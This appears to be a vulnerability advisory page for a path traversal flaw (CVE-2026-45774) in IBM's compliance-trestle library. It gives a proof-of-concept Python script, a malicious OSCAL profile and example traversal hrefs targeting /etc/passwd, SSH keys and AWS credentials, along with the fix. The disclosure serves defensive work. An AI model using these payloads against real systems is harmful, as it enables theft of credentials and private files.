compliance-trestle CVE-2026-45774
MEDIUMLifecycle Timeline
2DescriptionCVE.org
Summary
The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.
Three attack vectors confirmed:
- PT-001:
trestle://../../etc/passwd- via trestle:// URI scheme - PT-002:
../../etc/passwd- via relative path in href - PT-003: back_matter rlinks with traversal paths
Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.
Affected Component
Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/_import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:175-179 - LocalFetcher (trestle:// URI handling)
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ❌ NO boundary check - .resolve() follows ../
# ❌ NO is_relative_to() validation
# ❌ Result can be /etc/passwd
self._cached_object_path = self._abs_path
returncache.py:194 - LocalFetcher (relative path handling)
# For relative paths (no trestle:// or file:// prefix):
try:
self._abs_path = pathlib.Path(uri).resolve()
# ❌ Same issue - resolves relative to CWD with no boundary check
except Exception:
raise TrestleError(...)_import.py:73-104 - Profile import href resolution
class Import(Pipeline.Filter):
def __init__(self, ...):
# Line 73-83: back_matter rlinks used directly
if self._import.href[0] == '#':
resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
self._import.href = [
rlink.href
# ❌ rlink.href from OSCAL data - user-controlled
for rlink in resource.rlinks
if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
][0]
# Line 104: href passed directly to FetcherFactory
fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)Root Cause:
Path(trestle_root / "../../etc/passwd").resolve()=/etc/passwd- No
is_relative_to(trestle_root)check after resolve TRESTLE_HREF_REGEXdefined atconst.py:253but NEVER enforced (dead code)- Even if enforced, the regex
'^trestle://[^/]'would PASS traversal payloads (.is[^/])
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2PoC: Malicious OSCAL Profile
# malicious_profile.yaml
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "trestle://../../../../../../etc/passwd"PoC: Direct LocalFetcher Exploit
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile
trestle_root = Path(tempfile.mkdtemp())
# Normal usage - stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}")
# /tmp/xxx/catalogs/test/catalog.json
# Exploit - escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil: {evil._abs_path}")
# /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bashExpected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully
Remediation
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ✅ ADD: Boundary check
if not self._abs_path.is_relative_to(self._trestle_root):
raise TrestleError(
f"Path traversal blocked: resolved path '{self._abs_path}' "
f"is outside trestle root '{self._trestle_root}'"
)
self._cached_object_path = self._abs_path
returnSame fix needed for relative path handling at line 194.
Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).
Resources
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
- Credential Theft via OSCAL Import:
imports:
- href: "trestle://../../root/.aws/credentials"
- href: "trestle://../../root/.ssh/id_rsa"- System Reconnaissance:
imports:
- href: "trestle://../../etc/passwd"
- href: "trestle://../../proc/self/environ"- Supply Chain Attack:
Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.
- Dead Code Evidence:
TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere - proves path validation was INTENDED but never implemented.
AnalysisAI
Arbitrary file read in IBM's compliance-trestle Python library allows any file accessible to the running process to be extracted by supplying a malicious OSCAL profile YAML with path traversal sequences in the imports[].href field. Three confirmed attack vectors exist: via the trestle:// URI scheme, via relative href paths, and via back_matter rlinks - all exploiting the same root cause in LocalFetcher. Publicly available exploit code (PoC) exists demonstrating extraction of /etc/passwd, cloud credential files, and SSH private keys; no CISA KEV listing is confirmed at time of analysis.
Technical ContextAI
compliance-trestle is an IBM/OSCAL Compass Python library for managing OSCAL (Open Security Controls Assessment Language) compliance documents. The vulnerability resides in trestle/core/remote/cache.py (LocalFetcher class, lines 175-179 for trestle:// URIs and line 194 for relative paths) and trestle/core/resolver/_import.py (line 104). When processing OSCAL profile imports[].href values, LocalFetcher concatenates the URI with trestle_root and calls Python's pathlib.Path.resolve(), which canonicalizes ../ sequences and can produce absolute paths outside the workspace such as /etc/passwd. No is_relative_to(trestle_root) boundary check is performed after resolution. A validation regex TRESTLE_HREF_REGEX was defined at const.py:253 but is never enforced anywhere in the codebase, constituting dead validation code - and even if enforced, the pattern '^trestle://[^/]' would pass traversal payloads since '.' matches [^/]. The root cause class is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). Affected packages are pkg:pip/compliance-trestle versions 4.0.0 through 4.0.2 and all 3.x versions prior to 3.12.2.
RemediationAI
Upgrade compliance-trestle to version 4.0.3 (for 4.x users) or version 3.12.2 (for 3.x users) per the vendor-released patches documented in commits 5c65c5926fe7ca908b9c1d281f904e7d97ba8310 and d00a0c2f702c24f7016009fbd626036f5c46f47b. The fix adds is_relative_to(trestle_root) boundary enforcement after pathlib.Path.resolve() in LocalFetcher for both the trestle:// URI handler and the relative path handler, raising TrestleError when the resolved path escapes the workspace; it also enforces the previously dead TRESTLE_HREF_REGEX at const.py:253. For teams unable to patch immediately, the most actionable compensating control is to restrict trestle profile resolution to internally-authored OSCAL files only - explicitly block automated ingestion of externally-sourced profiles by gating pipelines on source verification. Running the trestle process under a dedicated low-privilege service account without access to cloud credential files (~/.aws, ~/.kube, ~/.ssh) limits the blast radius if exploitation occurs, though it does not eliminate the vulnerability. Advisory: https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-mj4x-vf5c-5xg8.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-mj4x-vf5c-5xg8